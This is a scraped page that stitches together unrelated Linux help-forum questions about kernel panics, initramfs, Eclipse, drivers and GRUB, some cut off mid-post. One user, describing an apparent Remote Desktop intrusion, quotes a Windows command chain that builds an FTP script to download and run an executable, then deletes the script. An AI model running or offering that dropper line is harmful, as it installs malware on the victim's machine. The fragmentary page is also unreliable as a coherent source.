Today I was upgrading my netbook with Ubuntu 10.10 on it to 11.04 via the Update Manager. I got a few errors and the Update Manager seemed like it wasn't continuing, so decided to exit it. It didn't respond so after a while I decided to restart the netbook. However the on/off/standby/restart, etc. button in the top right wasn't responding either, so I decided to force a shutdown with the power button on my netbook. Now Ubuntu doesn't start up, and gives me an error along the lines of:
Kernel panic - not syncing: Attempted to kill init! Pid: 1, comm: init Not tainted 2.6.35-28-generic #50-Ubuntu Now could I in some way repair my Ubuntu installation while still keeping the files I already have on my computer? Maybe via booting from a flash drive or something...?
Logical Memory Space of 4GB is divided in to 3GB User Space and 1GB Kernel Space. Always. Correct?
1. How can we change it? (just changing value of PAGE_OFFSET is okay?)
2. If system have only 256MB of memory (embedded system) and suppose Kernel Modules eat away all the memory during boot. User space will be left will no memory. Is this case possible?
I followed this guide: [url] to try to switch to OSS. Now the sound doesn't work at all. How do I undo these changes and switch back to ALSA?
View 9 Replies View RelatedFor a special purpose I needed a initramfs - that didn't work. So I reduced the initramfs setup to the simplest.
Mount the root and switch_root into it. But that didn't work either.
If I go with the init-script for the initramfs I posted below the system prints out the switch_root usage-text from busybox. But the syntax is right, ain't it?
When I use chroot instead of switch_root then it prints the usage-text of init before the kernel panic.
If I try with "/sbin/init 5" then, after a while the system reports "init: timeout opening/writing control channel /dev/initctl".
In the other cases I get the following error messages before the system hangs: "Kernel Panic", "Attempted to kill init", "init not tainted"
(With the init script below there is a error saying:"sh: can't access tty; job control turned off". I know why it's there - but don't know if it is connected to this problem.)
This information may be important:
- The machine boots from a usb-harddisk
- /sbin/init on the new root is available
- the system on newroot is sane and runs perfect standalone (without initramfs)
- the system on newroot uses baselayout-2 with openrc
- busybox is built as static binary
- busybox version is v1.15.3
Here is the relevant data:

I recently installed Fedora 12 and attempted to create a new java project in Eclipse.I used the 'eclipse' command in the terminal to start eclipse. It starts fine, however, there is no 'java project' option after choosing 'File->New Project'. Only CVS and General projects. I am not experienced enough in programming to understand the relevance/usage of either of these project modes, and only want to be able to write java programs in Eclipse.
Also, does the eclipse that is run from the terminal support c++ development? I have attempted to download eclipse for C++/C developers, but cannot get it to run. Which eclipse is running when I type 'eclipse' in the terminal? Is there a way to make it so I don't have to run this command from the terminal to load eclipse?
For windows, zonealarm will pop up a window when someone attempts to connect to a port on your computer.Is there a GRAPHIC utiliity like that for Fedora/linux? Not Command Line. (ss, tcpdump,. etc...)
View 8 Replies View Relatedi've been using ubuntu on my laptop for about a year now, but couldn't use linux on my desktop as my wireless adapter was never very well supported. well recently it's started working better, and rather than just putting ubuntu on i thought i'd try something different. i tried various kde based distros (madriva, fedora kde, kubuntu, chakra and others i can't think of right now) and found opensuse to be my favourite.the past week or so i've just been playing around, getting to know the little differences.i'm on call this weekend so i can't get drunk, so i thought i would waste a little time setting my desktop up a bit differently, and i've encountered a problem.
at first i wasn't sure what was wrong, i was playing around and next thing i knew i had crashed and couldn't log back in. i tried moving my .kde4 dir from a console login, but i still couldn't load my desktop, so i reinstalled.after my reinstall, i found that selecting a gl screensaver gave me the same problem (although this time at least moving/deleting my .kde4 folder allowed me to log in to a fresh desktop.i've done a bit of digging and found this. an lsmod | grep radeon gives me

I am trying to boot Debian Live, using Grub, from a folder on my hard drive which is basically the contents of the iso.
Here is my menu.lst:
However, on boot, after a while, it says boot failed. The error message it gives is: "Unable to find device with live filesystem" or something similar.
I got a new motherboard since my last one failed and this one has a Realtek RTL8168D/8111D PCI-E Gigabit on-board NIC. I noticed when I attempted to load Wheezy on her, she complained about the drivers not be listed in the Debian kernel. Is there a way I can slip in the drivers via USB or some other method so I can do a netinst of Debian on this new system?

So, with openSUSE 11.4 living happily on one hard drive (sda), I went and installed Ubuntu Natty on my computer's other drive (sdb.) I was under the impression that if I kept the installation contained entirely on the second drive, I could boot directly to it through bios, and not worry about bootloaders.
It seems that I was wrong.
When I try to boot to the hard drive w/ Ubuntu on it, nothing loads. The BIOS freezes at "Verifying DMI Pool..." I can still boot into my openSUSE install as normal, but its GRUB doesn't see the Ubuntu installation on the other hard drive. I tried using Super Grub Disk to boot the Ubuntu disk, and it's able to detect the Ubuntu OS, but goes into a kernel panic with the error message that VFS wasn't able to mount. When I've got my opensuse installation going, I can see the files and folders from the Ubuntu installation, and everything looks more or less normal.
I used ubuntu in my ARM board. but now i rebooted it says that "kernel panic - not syncing: Attempted to kill init!" i have to reinstall my OS or any other way to get retify?

I'm still trying to learn the ropes on linux as a whole and I've run into sort of a huge dilema. I wanted to connect my laptop to my TV via VGA. However, it would not work because I didn't have the proprietary graphics driver for my graphics card (Nvidia Quadro NVS 3100M). I searched the internet and found the guide below because the guide provided here did not specify Quadro family graphics cards[URL]I followed the "easy method" to the T.

View 10 Replies View RelatedSo I attempted to Upgrade 2 days ago from 9.10 to 10.04. I started the upgrade and left my computer alone as it said it would take several hours. When I returned to check on it, It told me the the installation had failed and it was attempting to roll back to the previous installation. Afterward I couldn't access anything on my computer. I'd click a icon and it wouldn't do anything. I manually restarted it and was greeted with a message that it couldn't boot because there was no mount specified.
Since I had backed up all my files I tried to just reinstall ubuntu. However even after I reinstalled I'm greeted with the same message.
I was running ubuntu 10.04 on a school laptop connected to the network. I was editing a file in emacs on an ssh connection to a school server when all of a sudden I see the remote desktop graphic (a thing that looks like a widescreen monitor) pop up in the top panel. A second later it announces that someone else has connected to my computer with 'ffff:someip'. I'm not sure of the specifics because I was too shocked. I do remember it started with some number of f's before a : The hacker then started typing
Code:
%systemroot%system32cmd.exe
del eq&e
I promptly yanked out the ethernet cable before anything else could be typed. I then went in and changed the Remote Desktop preferences to not allow anyone in. I'm guessing that I cut the hacker off from fully entering in a command similar to this:
Code:
%systemroot%system32cmd.exe
del eq&echo open 0.0.0.0 13643 >> eq&echo user 13302 30046 >> eq &echo get
mswinsvcr.exe >> eq &echo quit >> eq &ftp -n -s:eq &mswinsvcr.exe &del eq
which I found here: [URL]
How concerned should I be? It appears to be a windows hack. Did I prevent any damage from occurring? Is Remote Desktop really that easy to connect to another persons computer? I know this question is bait in a way. On my home machines I only allow vnc via ssh tunnels and that is through a router with proper port forwarding for the ssh ports and very few other ports forwarded. Such an attack has never happened to me at home. Is this possibly due to my setup or was I just lucky no one picked my computer to hack? So is the ssh tunnel & port forwarding a sufficiently safe setup or am I still at risk?
What degree of protection does the ssh tunnel and port forwarding provide? What else should I do to make my current home setup even more secure? The text I wrote above was the only text typed into the terminal. Because the attack was over Remote Desktop, what is the possibility that it was a bot? The text appeared slow enough for me to think that there was a person rather than a machine/program typing in the text. Does the Remote Desktop connection in a way provide a level of abstraction that prevents scripts as commands must be typed in through the Remote Desktop connection (vs. a ssh connection where a script might more easily be uploaded and executed)?
In the end I'm curious as to what else might have been accessed over the connection or if it was probably just restricted to the hacker attempting to run some windows commands? Since they connected via Remote Desktop and I saw the connection pop up and the typing begin in my terminal, did I see everything that the hacker attempted to perform? Am I correct in my research in finding that there is no log for Remote Desktop connections and therefore I can't find the ip they were connecting from? However, I would like to use this as a wake up call to myself to prevent unwanted access on my home computers.
I'm running 10.10 from an 8GB USB flash drive with persistence to see if I can get it working the way I need it before I can completely transition from Windows. I have an onboard ATI Radeon HD3300 running dual monitors which is on the list of supported devices for the FGLRX driver package, but I've encountered multiple issues.
First, when I chose to activate it from the Add'l Drivers dialog, it gave an error: "SystemError: installArchives() failed". I found a forum where someone had suggested opening the Terminal and giving the following commands:sudo aticonfig --initialfollowed bysudo rebootWhen my system rebooted, the Ubuntu screen showed "Ubuntu 10.10" in a plain font instead of the Ubuntu graphical logo, and then it quickly displays an error in a dark-colored font and then the screen flickers several times before stopping at a full-screen terminal. I have never used Linux before, so I don't know any commands at all or even what to do from here. I just want the dual screens to work and have the correct resolution.
Am I going to have to format and reload my flash drive again?
I am using Ubuntu 10.04 on a laptop with a Synaptics touchpad. While testing an install of Bluetooth drivers I booted my computer into recovery mode so I could find out if Bluetooth worked before networking was installed. The system reconfigured the graphics to low VGA which disabled the mouse. I rebooted (normal startup) uninstalled the bluetooth drivers, but my mouse still won't work. The mouse pointer appears in the middle of the computer screen, and stays there.Enabling mouse keys support enables me to move the mouse by holding the Function key and pressing numpad characters,t this is only a temporary solution.
